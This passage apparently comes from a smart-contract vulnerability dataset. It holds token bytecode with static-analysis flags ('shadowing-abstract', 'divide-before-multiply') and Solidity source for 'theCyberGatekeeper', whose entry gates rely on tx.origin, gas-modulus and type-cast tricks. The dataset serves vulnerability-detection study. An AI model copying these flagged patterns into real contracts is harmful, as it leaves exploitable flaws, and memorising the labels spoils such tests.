fffffffffff1681526020019081526020016000205461239590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147657600080fd5b819050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114e1573d6000803e3d6000fd5b505050565b600881565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154957600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561159757600080fd5b3390506115ec82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b190919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611644826008546123b190919063ffffffff16565b60088190555061165f826009546123b190919063ffffffff16565b6009819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b662386f26fc1000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176d57600080fd5b61177782826123ca565b5050565b60075481565b600c5481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117e657600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561186b573d6000803e3d6000fd5b505050565b6040805190810160405280600381526020017f4d5758000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561190757600080fd5b600d60149054906101000a900460ff1615151561192357600080fd5b6001600d60146101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119cd57600080fd5b80600a819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b6000604060048101600036905010151515611a2557fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611a6157600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611aaf57600080fd5b611b0183600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9683600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600d60149054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611d1f57600080fd5b505af1158015611d33573d6000803e3d6000fd5b505050506040513d6020811015611d4957600080fd5b81019080805190602001909291905050509050809250505092915050565b600a5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5557600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ef357600080fd5b505af1158015611f07573d6000803e3d6000fd5b505050506040513d6020811015611f1d57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ff557600080fd5b505af1158015612009573d6000803e3d6000fd5b505050506040513d602081101561201f57600080fd5b810190808051906020019092919050505092505050919050565b600b5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120a157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156121195780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217a57600080fd5b600090505b838390508110156121cb576121be848483818110151561219b57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16836123ca565b808060010191505061217f565b50505050565b6000808314156121e45760009050612203565b81830290508183828115156121f557fe5b041415156121ff57fe5b8090505b92915050565b6000600d60149054906101000a900460ff1615151561222757600080fd5b61223c8260095461239590919063ffffffff16565b60098190555061229482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600081830190508281101515156123a857fe5b80905092915050565b60008282111515156123bf57fe5b818303905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561242657600080fd5b60008111151561243557600080fd5b60085460095410151561244757600080fd5b61249981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239590919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f18160095461239590919063ffffffff16565b600981905550600854600954101515612520576001600d60146101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a7230582049cccd183db71426e7e28fc3ee2d2fbccf4919b56d1efb698d0a3f48754f99470029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 921 |
0x44919b8026f38d70437a8eb3be47b06ab1c3e4bf | pragma solidity ^0.4.19;
contract theCyberInterface {
// The contract may call a few methods on theCyber once it is itself a member.
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public;
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId);
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress);
}
contract theCyberGatekeeper {
// This contract collects addresses of the initial members of theCyber. In
// order to register, the entrant must first provide a passphrase that will
// hash to a sequence known to the gatekeeper. They must also find a way to
// get around a few barriers to entry before they can successfully register.
// Once 250 addresses have been submitted, the assignAll method may be called,
// which (assuming theCyberGatekeeper is itself a member of theCyber), will
// assign 250 new members, each owned by one of the submitted addresses.
// The gatekeeper will interact with theCyber contract at the given address.
address private constant THECYBERADDRESS_ = 0x97A99C819544AD0617F48379840941eFbe1bfAE1;
// There can only be 250 entrant submissions.
uint8 private constant MAXENTRANTS_ = 250;
// The contract remains active until all entrants have been assigned.
bool private active_ = true;
// Entrants are stored as a list of addresses.
address[] private entrants_;
// Entrants are assigned memberships based on an incrementing member id.
uint8 private nextAssigneeIndex_;
// Addresses / passcodes must be unique; passcodes must hash to a known value.
mapping (address => bool) private interactions_;
mapping (bytes32 => bool) private knownHashes_;
mapping (bytes32 => bool) private acceptedPasscodes_;
modifier checkOne() {
// The number of entrant submissions cannot exceed the maximum.
require(entrants_.length <= MAXENTRANTS_);
_;
}
modifier checkTwo() {
// Each entrant's interaction with the gatekeeper must be unique.
require(interactions_[msg.sender] == false);
require(interactions_[tx.origin] == false);
_;
}
modifier checkThree(bytes32 _passcode) {
// The provided passcode must hash to one of the initialized hashes.
require(knownHashes_[keccak256(_passcode)] == true);
_;
}
modifier checkFour(bytes32 _passcode) {
// The provided passcode may not be reused.
require(acceptedPasscodes_[_passcode] == false);
_;
}
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function theCyberGatekeeper() public {
// Initialize the gatekeeper by providing all permissible passcode hashes.
knownHashes_[0x1f9da07c66fd136e4cfd1dc893ae9f0966341b0bb5f157dd65aed00dc3264f7b] = true;
knownHashes_[0xb791069990a7ac90177cd90c455e4bac307d66a5740e42a14d6722c5cccd496e] = true;
knownHashes_[0xf1b5ecc2e10c5b41b54f96213d1ee932d580cfffe0ec07cae58160ce5c097158] = true;
knownHashes_[0xd5175b77b10e25fc855a5d7bd733345ba91169a60613ba9d862e80de56778b3a] = true;
knownHashes_[0xf34dcd7da457ab40a72eac7bcef81df228516accd299e45f957d3427da041993] = true;
knownHashes_[0x5de22f4ee9f2a052ec2d74368c18abc926dfa6d3b3dd354d37f5984234a5a3b9] = true;
knownHashes_[0xc59d5da97925031b90aec7b62b996266ddd6a770d74cfeda64f61fc36efaebb9] = true;
knownHashes_[0xce2a155eb4425417b7e6c730d6d8f28bc5a488f3ae991b8658df67c668936b25] = true;
knownHashes_[0x7c7d029792140de3231b5d0e423bcf2db32b645102481ff98cb3fbc596e7bec3] = true;
knownHashes_[0xbba66841434f000b3b5dad2fee2018222234708b4452188b0409fb87c96057da] = true;
knownHashes_[0xd8093508edc481156076857e1a3e06ff5851db83f93e2d0e7385d8095ddd91f1] = true;
knownHashes_[0x7fc987227e8bd30d90fd7009d4f4e87cbe08449f364eb7ea8cc1e0e8963a8bb9] = true;
knownHashes_[0x7d488c3c67541f75695f3b85e9e03cabf09776a834cae3bd78deff5a61a79d84] = true;
knownHashes_[0xfe8e1d9cfd511f648f7b2399b5e1b64fae0146b17d1887dd7d31cc62785af5a1] = true;
knownHashes_[0xbc29c06b1854055fa0eb833b5380702154b25706e91be59ece70949133e0b100] = true;
knownHashes_[0xd1b524312fe1faa9afd4c6e436ac5b7ffc25508915ced29b6a3a5a51c3f64edb] = true;
knownHashes_[0x2214001a578b2f4d84832f0fcea5fc9c330788cc124be6568f000e7a237e7bc2] = true;
knownHashes_[0xbe8f2f005c4eab111c5038c1facf9f34cdb74cc223e62da1afb6e9a68b34ca4e] = true;
knownHashes_[0xe47770d9ad427c0662f8a4160529bd061efc5b06289245a4f15314e01ac45a3e] = true;
knownHashes_[0xd9047ca158ff3d944db319ba900e195c790f10e9f733a26b959dda2d77f3269c] = true;
knownHashes_[0x337c6fd80459dd8a43819956a3efcc21321ea61b03df6d22c08a855a2fa21d11] = true;
knownHashes_[0x0f52968d0e726c5abea60a16fd8e54b35bdf84f2f00e60b85e51dd1da01eac7f] = true;
knownHashes_[0x73a6ef9b3a23b3a024ce61190cd9e25646fea63e07b7a108a4069becd17592e1] = true;
knownHashes_[0xf4553c021ac8627fb248332a94b4cfdda11fa730a5fd9d3104c6a5ae42d801f4] = true;
knownHashes_[0x020bea449c109c63f9f2916ae45efedb68582b53ecf5bc1976c2f227ddbcea92] = true;
knownHashes_[0x389cbc4a0968b13b251e9749a09f065f7455c8e32c51ab9e70d0cfe88f19f0d3] = true;
knownHashes_[0x56a1df9bf60a6537bd66813412c4dab60948ad50d589d16fbcc803ff7e1d8d0e] = true;
knownHashes_[0xce32119e262e9efefddcefc72360f9bc264ed352f37e88ad5dbc8563a1f5dee4] = true;
knownHashes_[0x3d0836543f5fa63cf9a33cf89c5d6d58fa1f4a7ef6176f4aa0c9af50a5bc537b] = true;
knownHashes_[0x0a63047da6dc9766ee02d6966d1aa3314a7809d62eb1718107f48506f9f9457c] = true;
knownHashes_[0xc53397f780d9bbd2a6f0f0c8bf49ac08ed4cdf64930106be00721ac4d4511164] = true;
knownHashes_[0xe81581a9c2c27417ba4f3c81e0fced1d0f79d358ed920a22ae00115487f228c5] = true;
knownHashes_[0xe77056c319963c193dea91cb38d431eff8ab57c3ab170010356b4eebc22d7e97] = true;
knownHashes_[0xa1fb6fdf27ba9b5544e3f12fbd9132492357cb7e55380021f25208888e3630f7] = true;
knownHashes_[0xb90ab683410780e5a3d0f4ae869a04895db390b4a7ef7da54978cb7276249f06] = true;
knownHashes_[0xaed50db7524cf03c1b00786985d114bac77e4efc94ca8de1d5f38c1abf4f2fd7] = true;
knownHashes_[0xb8e02c5490299d4213b7aa5e73b81ca81b064b0d9136a81151e462b4e25f9874] = true;
knownHashes_[0x20f107570ff7f5b87bf5f2e3562cd5724c93bede48a295c0eb2bde13dc6a29b0] = true;
knownHashes_[0xb716c58f7969bbabf290500b49cbd47d27127c8273d92400ae986459a25c0fac] = true;
knownHashes_[0xe2e53269c9a713aea39f3cd5bc1d843d2333671f001e9370d8d0af7fd538da94] = true;
knownHashes_[0x0bbb7d412d6b31f9a09dc1b0c907b460b1b537213e26ee81f9807f29adf4fd15] = true;
knownHashes_[0x7ab04d4c5b09c1447723b60fbdca4b3413b6f98da157bacfb434e41e2b058528] = true;
knownHashes_[0x825593380f76d0636b54113c15cc60af3fd5c084662fd29aec5b73adfa126497] = true;
knownHashes_[0xfe997c3e94789f21f04c14663073b6aa991ac2a844128501c12e6ef600c06588] = true;
knownHashes_[0x3971dc6245d6ac485f674d04c92b9405aad2a99c550f1bc0db4bbb90bf95adac] = true;
knownHashes_[0x001e58093e36d3df6435032e8756c4a3d7194703d7160b54a53abea1daeebea2] = true;
knownHashes_[0x7bd7049df9d6d237d4d140e15d442bbc36d854f11dd3f29d95431fbf588fc595] = true;
knownHashes_[0x41a03b78069100aee2080531046c5225723682709011dfaf73584efddb0d721b] = true;
knownHashes_[0x1e28fd49fa726dce14c54fd0e795d504cb331c8b093d08480e2c141e7133afd7] = true;
knownHashes_[0xbbfac7d658b3afa5e3f31b427d1c6337c09385f68d8a5c7391344048a9933dcc] = true;
knownHashes_[0xabce501357182c6bc33f57f0358ffd0df3593ab84b560eaafe4e491e1a57161d] = true;
knownHashes_[0x5f210994b6ab28175f582caea9ca3d8a60bd95f9143d296963ff0fe15824541f] = true;
knownHashes_[0x52583357b332063c6b01ebb1adc2ea1a562d9047ba229007f54e16cbd6814911] = true;
knownHashes_[0xbaab52c2bbb7cd02a520d2b6bfec5a9551e3e6defa60a3032873e8416ee4467c] = true;
knownHashes_[0x6ae2961dfef7f3e0aa12c15e7a681ca18f2950d2657565bf15131912ea8da7dc] = true;
knownHashes_[0xf031e143e1803147f958dd4c6665e8719058d5caae195b70087f9b5271762df4] = true;
knownHashes_[0x28d76ea4ef99de0fec59ed37a9fd26773973b3fe154e22c90417d321558122a2] = true;
knownHashes_[0x537ac9bd7ee6bf9da81eb33526e6b276470fc054ec02970009d8619f71f9721f] = true;
knownHashes_[0x8fa26dab73b295def62cfe7f5c43d14582d2b3618420ad5a5b268cc379198e13] = true;
knownHashes_[0x7b84ca8a1ab1da42a485a6fee17b4d566f3381a7e7e45093f1b31dd0733e35bb] = true;
knownHashes_[0xabb230a36f2e2b45edf713e502c17177764fe97fa723396345faa9c176ba1726] = true;
knownHashes_[0x202f9f673d28dbcd395bdcb5947e473d0ac8db873531bd421f1554b2b20ff9c9] = true;
knownHashes_[0xe212ec4baaa718fc89304b32b3824049830056aba2217e5dda7ab19a38674dd7] = true;
knownHashes_[0x797fb4e70019a12d858f7ec6e36e0e094c5491595458c071731cf74d910ca93c] = true;
knownHashes_[0x746f5fe170aee652feecbe538b3ad0379a5a55c0642ff09d51d67f96e547e1b9] = true;
knownHashes_[0x808dbf279f6ebaf867dba8f57e7e0985c0af3514e12bbd9179b76305873aa62d] = true;
knownHashes_[0x58174ff390f50845020d81f58dec307980154bfcbcc2a6e52c8f00571fc4c18a] = true;
knownHashes_[0xd21dd7a15bfe2cceed46b2545ba534371194c4243b0892d646a8c5a5af65d6cc] = true;
knownHashes_[0x73aa239023dd8d73a9f9fb28824419078c3f714ab4486efd84781c683d71a839] = true;
knownHashes_[0x691e364238f0b50f5aa51ea1d4433bf2efa59fea0be8b9c496554cb39498467a] = true;
knownHashes_[0x46b4a5160c82b53114bfcc1474f38f7c43b6492bc3b9596d613defeaf8b89e97] = true;
knownHashes_[0x8f88f909ffa924d4e3c2a606afd35c63d2a428a79a85576ff4930fac15de9fae] = true;
knownHashes_[0x64958df63263f0829b0c0581bd29c3ba2c98303c4d1a5f498e1fbd9334b987e7] = true;
knownHashes_[0xe055613d9fb1e64b10f2a19d23e0f210a62c77890c64f36ef19b7f9c9eeea73f] = true;
knownHashes_[0x58d386f526477b55f07450e4bda7ebe5ba5a24c6a1de2c2a0589136e26455502] = true;
knownHashes_[0x34a80f3e9802bdff7e72af17a101ff9f66a318fdab40aed5d1809fc5f2cc1c9a] = true;
knownHashes_[0xd4f0c8fe0948d41171c9c9ce1d75ee424c8a88a240ef6e430e3e96a40f6276d4] = true;
knownHashes_[0x1bcab73811b8ba9d2dad89dea585e5d714a1e599bce4577d19d2b43b7bf87fda] = true;
knownHashes_[0x10028a06bc48264ae4c6a600ee386fa468b2aaa6e5b5645a1a6e31253228b8ad] = true;
knownHashes_[0xde8d4db07409be3619916cbc1879b26c7e11b5b5a70e7d881af0c2fef29d7318] = true;
knownHashes_[0xa5eef6d39384b151fdafb99544cf084e6c7a066fde1bb0b9ceae0821e9e2cd10] = true;
knownHashes_[0xe3ca8dc2d344788fe4481650673ec321808a3997c8909fccd45b233ec758a393] = true;
knownHashes_[0x9e6b8ef37fe278d3e8786e3c690e8d210b028e02cbd3de1cb7e4f195d07b8110] = true;
knownHashes_[0x2688230319ac3209d60a958ecc1c6f9b7bcdc8f0b3b205593abfaf3e3cbdf77b] = true;
knownHashes_[0x7b9bdcab954cec08267474edd4efd3f9404a9cb01d4daaa601a20bf983431904] = true;
knownHashes_[0x43207aebbf8c583423271f9eb7902c2ec44ac0c4f352ab1819246832f4c0999b] = true;
knownHashes_[0xac0266245ff71cc4a17bb0f63bc04d9666ddf71dd71643f24cf37e36bc4f155a] = true;
knownHashes_[0xfc15e3c5983cc9cc686b66d89c99e63f4882e3d0058b552b67bfe2f766b56950] = true;
knownHashes_[0xe804e62dd75bbe482087ab2837502f73007e1a73eea27623885dfbfe1e2fb0ef] = true;
knownHashes_[0x13c7f7862f84b2c7a3954173f9c1d8effa93645c00bbd91913545541d2849b39] = true;
knownHashes_[0xa873f8ffa13ce844fcaa237f5e8668d04e7b0ffc62a07b6954fd99dd2ec4c954] = true;
knownHashes_[0xeb6f877cc66492cf069da186402edaab2fec618959323c05ecd27d6363200774] = true;
knownHashes_[0x6c11b3fedeba28d1d9ecc01fa6b97e1a6b2cca5ccbb3cfcd25cfaf2555fd4621] = true;
knownHashes_[0xa671809122a1d712c9953a2a3dab991bec0dea9dac04039674a48ce69307342f] = true;
knownHashes_[0xee891d79c71c93c9c8dc67d551303fb6b578e69673207be5d93f9db8bfc65443] = true;
knownHashes_[0x203530873bf7a0e21437d19fac50ad66b5d900cc5695d924091502c57e68b404] = true;
knownHashes_[0x31c193092d0122b4bba4ff0b15502ccd81424d9d1faf6eb76dabe160d38ab86c] = true;
knownHashes_[0x30437582c6835f6855ea08e4e6c9eb22b03445b3c9fdbf8520fb07b122db22a1] = true;
knownHashes_[0x72be9f48790e00f9e4c3a12e3b76fe33ffa9f0e8fff75b711ad1158a2d96161d] = true;
knownHashes_[0x19d429dde2aba4c05a71858f6c770dbf2007982a45514109089b135401ba97ab] = true;
knownHashes_[0xd3f357697501c25321843787edc511fe9c4580fcd386617524fd71372a987f9e] = true;
knownHashes_[0xfaefd15cd398d7f18a62f2b2b9282ec8706fc024fc95dbf35d44beb1e2e9b317] = true;
knownHashes_[0xe499335f5a14d69d72b210691255ba1a849fc5b358ceca4e737ae99896aaffde] = true;
knownHashes_[0xafeb5f1c9298777e8b9501cb812afbdbc551a7e03e4e2de437fef3eef0d89e3e] = true;
knownHashes_[0xae48b79855ef93cc35d5776322242fabdb4a53fb7ff84916a3f7d3f665914e1d] = true;
knownHashes_[0x5a6160a4fc39e66e69129aff6942405d07a3d3e81242bdc40b3af6aab7ae3642] = true;
knownHashes_[0x9c76da2121f984e4c7bca901f474215dbce10c989894d927e6db17c0831fde30] = true;
knownHashes_[0x5ecb6ccb02c15de47ddabb85571f48ae8413e48dd7e1f4f52a09a3db24acb2c5] = true;
knownHashes_[0xc97f43a2a7aa7a7582dd81a8fc6c50d9c37c0b3359f087f7b15fb845fe18817a] = true;
knownHashes_[0x2a567f38f252bd625fe9bc0224ba611e93e556f6d9fad0fc9929276120616f2f] = true;
knownHashes_[0x86032752da8b70e1a3fece66bb42c2e51d5c1d7db7383490beb8707b544c713e] = true;
knownHashes_[0x2bc1f494fade6a385893a9065a7b97d2aac775dc815639baafa7926de4f582df] = true;
knownHashes_[0x3967c9d876382dda4dd223423d96d08fb3d9ee378a88ab63171543ac3a6f1a4f] = true;
knownHashes_[0x9ac8fc599ce21b560d819005a1b22a6e4729de05557d5b3383cd41e3b13530ef] = true;
knownHashes_[0x83b4b01d4238485529f01e4b7a0b2a18c783c4f06a6690488a08ad35723f46d6] = true;
knownHashes_[0xe16362fabfbfab3bc5b52441e6f51b1bd6ed176357f177e06c22ea31a4e0490a] = true;
knownHashes_[0x2bbec2393184e20e04df7f7ebf3e0a40f18f858ef24219e3e6a4cad732d2a996] = true;
knownHashes_[0x26b9f114b862dd1fb217952b30f0243560c0014af62f1c6a569a93263da2ed87] = true;
knownHashes_[0x8f50db6ad0f6b20a542c6ce2ce2ca88a5e28040499ad82050c5add5b671fbebb] = true;
knownHashes_[0x31853fd02bb4be8eef98b6bb8910aacbaabdb6e7bb389c15e7ffa7cc877a2916] = true;
knownHashes_[0xda6d55fafdbd62c3224f3c2a309732c141186846e72fbc1ba358e3005b0c0192] = true;
knownHashes_[0xede6c624b4d83d690b628296696008e32afb731951b0785964557716ee17938f] = true;
knownHashes_[0xf92e82d93f432af59aa615fcc1f320bfc881f8edb6c815ef249ffe1d581c118e] = true;
knownHashes_[0xfd3465d044cfe45ed2b337a88c73de693aaf15e2089ec342b606053742c2d3d8] = true;
knownHashes_[0xe67d0e588eda9b581e65b38196917b7f156c33b63a7b85faf9477161d80c3fa0] = true;
knownHashes_[0x17ec4ff7ca53560624d20a4907a03db514e54167a07c470a78e8be670569eb1e] = true;
knownHashes_[0x801f7c51809e14a63befb90bdd672eea429009ba0fb38265f96c5d74f61d648e] = true;
knownHashes_[0x030b09c9fc307c524f015349267a9c887a785add273463962174f9a0bca8eade] = true;
knownHashes_[0x32c740329e294cf199b574f5a129eb087105d407fe065c9e82d77d0e7f38c6df] = true;
knownHashes_[0x4f5d91e1926a0abfc33cbbb1fe090755b3fa6f6878b16ddb1f4d51c0bb273626] = true;
knownHashes_[0x1c347666ca233e998ccad5e58d499db78693a2880e76efef3f39ea75928aa3a7] = true;
knownHashes_[0x86983f6f4376ef7fc0e1766ffce4b7bea3e34e023e941a7b7f82638ac72c660e] = true;
knownHashes_[0x208d1fd0ad5b8f5d2d5239f9317b95cf11beac22780734caf8571ab4b0520d0d] = true;
knownHashes_[0x9bdaa1a0d2f8e41777bc117b01bd1c75d7ef6233c204b3285a47e4fedb319e69] = true;
knownHashes_[0xfb473f02109ef92a443b981b604a8991757eb0bb808ea5bc78e7e870f2354e62] = true;
knownHashes_[0xe8a6cfdc3e580f2eab183acb79e5b86a3e9da4f249f74616046d6d29fcd4fed2] = true;
knownHashes_[0x32abc540ef3bc5de09a23af1f982af2559fc2186036c599b3433d016b1a540a8] = true;
knownHashes_[0x659a7368d541323bd45fc1877f7f1f30336ef11752e74114bd266ef54f7af614] = true;
knownHashes_[0xc47854c4eafcf5d12b54b1eb0f4054029ee2a621f8a3e466512f989f9f3766b8] = true;
knownHashes_[0x51ab11caa29aa797b6707bde74097b6b2a94f2933f67e829d5404511a04b9eee] = true;
knownHashes_[0xd231100d8c758c8b96008206667beb0da75c8bdf5ef6372973f188a2f8479638] = true;
knownHashes_[0xf2667981d338ea900cb94ee9b1e8734f402c6f97a5c26e025000c24495b5848a] = true;
knownHashes_[0xd1bfe76a924b0f7375b5cfb70f9a9a38bbc4b0e0e954b4fd79c6a8249c8024eb] = true;
knownHashes_[0x4461388e97040af4f18bd39fb43f6407c1dc0c97367493c71fa09e9ad0c041f3] = true;
knownHashes_[0xaba9866a1182958298cd085e0852293a8a9a0b32e3566a8fc4e0d818e6fc9d1f] = true;
knownHashes_[0x0fa820195b7911118b04f51a330222881e05b872bb6523c625ba0e44d783e089] = true;
knownHashes_[0xf7fae749c6d9236a1e5c4c9f17d5f47e03c5b794c7d0838593a59c766b409fb1] = true;
knownHashes_[0xd452a19b707816f98350c94bedef9a39d2a8387e6662fbf4ce1df2d08b9bbfce] = true;
knownHashes_[0x88c601f5dbc07046d3100ba59d1d8259a2252494fe3d44df2493154f81cc6e83] = true;
knownHashes_[0xd63bad678338c2efcc352bc52dc6d746ff7ad69fa3024a4c066242a5e017223e] = true;
knownHashes_[0xbdafe5b7f2fb13e7a9d15fde4c20946aa9cf503d87c13d5e2b1f91cba24d6d02] = true;
knownHashes_[0xf3e4c26fc4270c96091163d1f821ca1ee5e3e2cf38cbddb72ed0f016bc0cc301] = true;
knownHashes_[0xe5d663f995b932d671a4239595c3e21bdf5eed4f387abf490064e110f815e13a] = true;
knownHashes_[0x56e513d0909163ceb5c909f0a4f4996041e6f7dce868bea19e455160c73e0087] = true;
knownHashes_[0x85dadba5e967d35663a2edc0a2854f2176140f2c5362199a7c1aeef92a23965f] = true;
knownHashes_[0x31a6ee0d2173eb805ea73e2505ace7958a9b6b79f017eabe73dd20449202cc73] = true;
knownHashes_[0xb0114eb4170b3a6089c93a3e6f3ca1ab430259cd01cb5c0d996ae2fed4ab8713] = true;
knownHashes_[0xab882a2dc74f2cf4303d5042c19ca8c28b9138d41cfb92d1772a7db0f03cdcbd] = true;
knownHashes_[0x750caffb2fc2e58326276d6626d58fffb7016fc2ca9f32db568c2b02d1a7e2e4] = true;
knownHashes_[0xa0f68eb20c40da255433c06088ce4b5a92a29a39a431fcd5430caf46a55cfef8] = true;
knownHashes_[0xf3b4aea050789d0ce0c09becf833057f37a512b19c09258bf27912c69748f81e] = true;
knownHashes_[0x7a624c215ebf005e463dfd033a36daf69490c0ebf65a9bdf3cb64421e39290ea] = true;
knownHashes_[0x1a83e43e04aeb7d6cd4e3af4b7c0761dacbd47a806c52eea0b90e26b8cc4d52c] = true;
knownHashes_[0x0f7dd58c9f0617e197b0255ea9eedbb2cb1055e9762821bdfb6ebc89bf2cbc69] = true;
